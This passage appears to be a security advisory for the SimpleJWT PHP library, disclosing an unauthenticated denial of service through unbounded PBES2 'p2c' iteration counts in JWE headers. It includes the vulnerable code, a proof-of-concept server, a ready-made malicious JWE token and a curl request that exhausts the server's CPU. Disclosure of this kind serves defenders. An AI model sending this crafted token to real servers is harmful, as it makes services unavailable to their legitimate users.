+ "details": "## Summary\n\nAn unauthenticated attacker can perform a Denial of Service via JWE header tampering when PBES2 algorithms are used. \nApplications that call `JWE::decrypt()` on attacker-controlled JWEs using PBES2 algorithms are affected.\n\n## Details\n\nPHP version: `PHP 8.4.11`\nSimpleJWT version: `v1.1.0`\n\nThe relevant portion of the vulnerable implementation is shown below ([PBES2.php](https://github.com/kelvinmo/simplejwt/blob/edb7807a240b72c59e72d7dca31add9d16555f9f/src/SimpleJWT/Crypt/KeyManagement/PBES2.php)):\n\n```PHP\n<?php\n/* ... SNIP ... */\nclass PBES2 extends BaseAlgorithm implements KeyEncryptionAlgorithm {\n use AESKeyWrapTrait;\n\n /** @var array<string, mixed> $alg_params */\n static protected $alg_params = [\n 'PBES2-HS256+A128KW' => ['hash' => 'sha256'],\n 'PBES2-HS384+A192KW' => ['hash' => 'sha384'],\n 'PBES2-HS512+A256KW' => ['hash' => 'sha512']\n ];\n\n /** @var truthy-string $hash_alg */\n protected $hash_alg;\n\n /** @var int $iterations */\n protected $iterations = 4096;\n \n /* ... SNIP ... */\n\n /**\n * Sets the number of iterations to use in PBKFD2 key generation.\n *\n * @param int $iterations number of iterations\n * @return void\n */\n public function setIterations(int $iterations) {\n $this->iterations = $iterations;\n }\n \n /* ... SNIP ... */\n\n /**\n * {@inheritdoc}\n */\n public function decryptKey(string $encrypted_key, KeySet $keys, array $headers, ?string $kid = null): string {\n /** @var SymmetricKey $key */\n $key = $this->selectKey($keys, $kid);\n if ($key == null) {\n throw new CryptException('Key not found or is invalid', CryptException::KEY_NOT_FOUND_ERROR);\n }\n if (!isset($headers['p2s']) || !isset($headers['p2c'])) {\n throw new CryptException('p2s or p2c headers not set', CryptException::INVALID_DATA_ERROR);\n }\n\n $derived_key = $this->generateKeyFromPassword($key->toBinary(), $headers);\n return $this->unwrapKey($encrypted_key, $derived_key, $headers);\n }\n \n /* ... SNIP ... */\n\n /**\n * @param array<string, mixed> $headers\n */\n private function generateKeyFromPassword(string $password, array $headers): string {\n $salt = $headers['alg'] . \"\\x00\" . Util::base64url_decode($headers['p2s']);\n /** @var int<0, max> $length */\n $length = intdiv($this->getAESKWKeySize(), 8);\n\n return hash_pbkdf2($this->hash_alg, $password, $salt, $headers['p2c'], $length, true);\n }\n}\n?>\n```\n\nThe security flaw lies in the lack of input validation when handling JWEs that uses PBES2. \nA \"sanity ceiling\" is not set on the iteration count, which is the parameter known in the JWE specification as `p2c` ([RFC7518](https://datatracker.ietf.org/doc/html/rfc7518#section-4.8.1.2)). \nThe library calls `decryptKey()` with the untrusted input `$headers` which then use the PHP function `hash_pbkdf2()` with the user-supplied value `$headers['p2c']`.\n\nThis results in an algorithmic complexity denial-of-service (CPU exhaustion) because the PBKDF2 iteration count is fully attacker-controlled. \nBecause the header is processed before successful decryption and authentication, the attack can be triggered using an invalid JWE, meaning authentication is not required.\n\n## Proof of Concept\n\nSpin up a simple PHP server which accepts a JWE as input and tries to decrypt the user supplied JWE.\n\n```bash\nmkdir simplejwt-poc\ncd simplejwt-poc\ncomposer install\ncomposer require kelvinmo/simplejwt\nphp -S localhost:8000\n```\n\nThe content of `index.php`:\n\n```php\n<?php\n\nrequire __DIR__ . '/vendor/autoload.php';\n\n$set = SimpleJWT\\Keys\\KeySet::createFromSecret('secret123');\n\n$uri = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);\n$method = $_SERVER['REQUEST_METHOD'];\n\nif ($uri === '/encrypt' && $method === 'GET') {\n // Note $headers['alg'] and $headers['enc'] are required\n $headers = ['alg' => 'PBES2-HS256+A128KW', 'enc' => 'A256CBC-HS512'];\n $plaintext = 'This is the plaintext I want to encrypt.';\n $jwe = new SimpleJWT\\JWE($headers, $plaintext);\n\n try {\n echo \"Encrypted JWE: \" . $jwe->encrypt($set);\n } catch (\\RuntimeException $e) {\n echo $e;\n }\n}\n\nelseif ($uri === '/decrypt' && $method === 'GET') {\n try {\n $jwe = $_GET['s'];\n $jwe = SimpleJWT\\JWE::decrypt($jwe, $set, 'PBES2-HS256+A128KW');\n } catch (SimpleJWT\\InvalidTokenException $e) {\n echo $e;\n }\n echo $jwe->getHeader('alg') . \"<br>\";\n echo $jwe->getHeader('enc') . \"<br>\";\n echo $jwe->getPlaintext() . \"<br>\";\n }\n\nelse {\n http_response_code(404);\n echo \"Route not found\";\n}\n\n?>\n```\n\nWe have to craft a JWE (even unsigned and unencrypted) with this header, notice the extremely large p2c value (more than 400 billion iterations):\n\n```json\n{\n \"alg\": \"PBES2-HS256+A128KW\",\n \"enc\": \"A128CBC-HS256\",\n \"p2s\": \"blablabla\",\n \"p2c\": 409123223136\n}\n```\n\nThe final JWE with poisoned header: `eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla`.\n\nNotice that only the header needs to be valid Base64URL JSON, the remaining JWE segments can contain arbitrary data.\n\nPerform the following request to the server (which tries to derive the PBES2 key):\n\n```bash\ncurl --path-as-is -i -s -k -X $'GET' \\\n -H $'Host: localhost:8000' \\\n $'http://localhost:8000/decrypt?s=eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwicDJzIjoiYmxhYmxhYmxhIiwicDJjIjo0MDkxMjMyMjMxMzZ9.bla.bla.bla.bla'\n```\n\nThe request blocks the worker until the PHP execution timeout is reached, shutting down the server:\n\n```console\n[Sun Mar 15 11:42:18 2026] PHP 8.4.11 Development Server (http://localhost:8000) started\n[Sun Mar 15 11:42:20 2026] 127.0.0.1:38532 Accepted\n\nFatal error: Maximum execution time of 30+2 seconds exceeded (terminated) in /home/edoardottt/hack/test/simplejwt-poc/vendor/kelvinmo/simplejwt/src/SimpleJWT/Crypt/KeyManagement/PBES2.php on line 168\n```\n\n## Impact\n\nAn attacker can send a crafted JWE with an extremely large `p2c` value to force the server to perform a very large number of PBKDF2 iterations. \nThis causes excessive CPU consumption during key derivation and blocks the request worker until execution limits are reached. \nRepeated requests can exhaust server resources and make the application unavailable to legitimate users.\n\n## Credits \n\nEdoardo Ottavianelli (@edoardottt)",
0 commit comments